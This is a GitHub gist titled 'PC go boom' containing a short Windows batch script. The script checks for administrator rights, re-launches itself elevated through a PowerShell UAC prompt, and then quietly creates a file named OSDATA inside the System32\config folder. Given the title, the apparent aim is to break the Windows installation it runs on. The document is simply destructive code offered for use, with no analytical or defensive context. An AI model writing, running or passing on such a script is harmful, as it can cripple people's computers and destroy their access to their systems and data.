Created
August 7, 2025 15:01
-
-
Save Alex4386/9753886491a40b34eb0328363467f4b5 to your computer and use it in GitHub Desktop.
PC go boom
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| @echo off | |
| :: Self-elevate using PowerShell if not running as admin | |
| net session >nul 2>&1 | |
| if %errorlevel% neq 0 ( | |
| powershell -Command "Start-Process '%~f0' -Verb RunAs" | |
| exit /b | |
| ) | |
| :: Create a file (not a directory) at the specified system path | |
| copy /y nul "%SystemRoot%\System32\config\OSDATA" >nul 2>&1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment